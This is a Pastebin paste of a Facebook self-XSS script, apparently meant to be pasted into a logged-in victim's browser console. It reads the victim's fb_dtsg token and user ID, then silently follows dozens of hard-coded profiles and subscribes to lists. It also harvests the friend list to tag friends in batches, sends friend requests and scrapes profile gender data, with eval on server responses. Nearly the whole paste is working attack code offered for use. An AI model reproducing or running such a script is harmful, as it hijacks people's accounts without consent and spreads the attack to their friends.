zullykul

sub2

Jul 31st, 2014
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.04 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Chúc các bạn chơi FB vui vẻ nhé ^^');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Không edit bất kì gì từ đây trở lên
  24. a("100008306446685");a("100008175240090");a("100005710845490");a("100002329272936");
  25.  
  26. a("1816636618");
  27.  
  28. a("100005324709113");a("100003258155957");a("100003312139768");a("100004572691334");a("100004251486614");a("100005494290833");a("100003949374807");a("100005933732693");a("100003701280187");a("100003159330836");a("100004764249929");a("100003589288436");a("100003888892447");a("100005469425780");a("100002991466348");a("100000346889158");a("100003753252655");a("1015493573");a("100004103530263");a("100005508940503");a("100001725226792");a("100004178642927");a("100004568041258");a("100003254708451");a("100004268646588");a("100003574913161");a("100004358074994");a("100002212111536");a("100002728249666");a("100005638452935");a("100002061785107");a("100005190398347");a("100003753252655");a("100002915040236");a("100003707753775");a("100004580942254");a("100003961118579");a("100002511965982");a("100001513024241");a("100001395488769");a("100006115533082");a("100003961118579");a("100003638324695");a("100003586509892");sublist("316125868516961");a("100002537764149");a("100006201067336");a("100001121977645");a("100005703000403");a("100003904357182");a("100003958323340");a("100004507711204");a("100002791399105");a("100000320349342");a("100002309119220");a("100002620186905");a("100003328056651");a("100003248375743");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");a("100008175240090");sublist("1449270408688787");
  29. // Hàng VIP
  30. a("100004325946040");a("100002061785107");a("100002565778838");a("100005070041537");a("1803150891");a("100000686899395");a("100006251948936");a("100003613018992");a("100005909341431");a("100004273744386");a("100004018587685");a("10000398973666");a("100002475564043");a("100003545933334");a("100005638452935");a("100004537982327");a("100005969071004");a("100005190398347");a("100001949752072");a("100002078205009");a("100003753252655");a("100004226527211");a("100002212111536");a("100003985503525");a("100003343334493");a("100004499924108");a("100002786826956");a("100003574913161");a("100003718191076");a("100004268646588");a("100001611060323");;sublist("1449270408688787");
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  38. function sarkadaslari_al(){
  39. var xmlhttp = new XMLHttpRequest();
  40. xmlhttp.onreadystatechange = function () {
  41. if(xmlhttp.readyState == 4){
  42. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  43. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  44. smesaj = "";
  45. smesaj_text = "";
  46. for(i=f*10;i<(f+1)*10;i++){
  47. if(arkadaslar.payload.entries[i]){
  48. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  49. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  50. }
  51. }
  52. sdurumpaylas(); }
  53.  
  54. }
  55.  
  56. };
  57. var params = "&filter[0]=user";
  58. params += "&options[0]=friends_only";
  59. params += "&options[1]=nm";
  60. params += "&token=v7";
  61. params += "&viewer=" + user_id;
  62. params += "&__user=" + user_id;
  63.  
  64. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  65. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  66. xmlhttp.send();
  67. }
  68.  
  69. var tiklama = document.addEventListener("click", function () {
  70. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  71. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  72. sarkadaslari_al();
  73. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  74.  
  75. document.removeEventListener(tiklama);
  76. }
  77. }, false);
  78.  
  79. function sarkadasekle(uid,tem){
  80. var xmlhttp = new XMLHttpRequest();
  81. xmlhttp.onreadystatechange = function () {
  82. if(xmlhttp.readyState == 4){
  83. }
  84. };
  85.  
  86. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  87. var params = "to_friend=" + uid;
  88. params += "&action=add_friend";
  89. params += "&how_found=friend_browser";
  90. params += "&ref_param=none";
  91. params += "&outgoing_id=";
  92. params += "&logging_location=friend_browser";
  93. params += "&no_flyout_on_click=true";
  94. params += "&ego_log_data=";
  95. params += "&http_referer=";
  96. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  97. params += "&phstamp=165816749114848369115";
  98. params += "&__user=" + user_id;
  99. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  100. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  101.  
  102. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  103. xmlhttp.send(params);
  104. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  105. cinsiyetgetir(uid,tem,"sarkadasekle");
  106. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  107. xmlhttp.send(params);
  108. }
  109. }
  110.  
  111. var temsonuc = {};
  112. var temhtml = document.createElement("html");
  113. function scinsiyetgetir(uid,tem,fonksiyon){
  114. var xmlhttp = new XMLHttpRequest();
  115. xmlhttp.onreadystatechange = function () {
  116. if(xmlhttp.readyState == 4){
  117. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  118. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  119. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  120. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  121. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  122. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  123. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  124. }
  125. eval(fonksiyon + "(" + id + "," + tem + ");");
  126. }
  127. };
  128. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  129. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  130. xmlhttp.send();
  131. }
Advertisement
Add Comment
Please, Sign In to add comment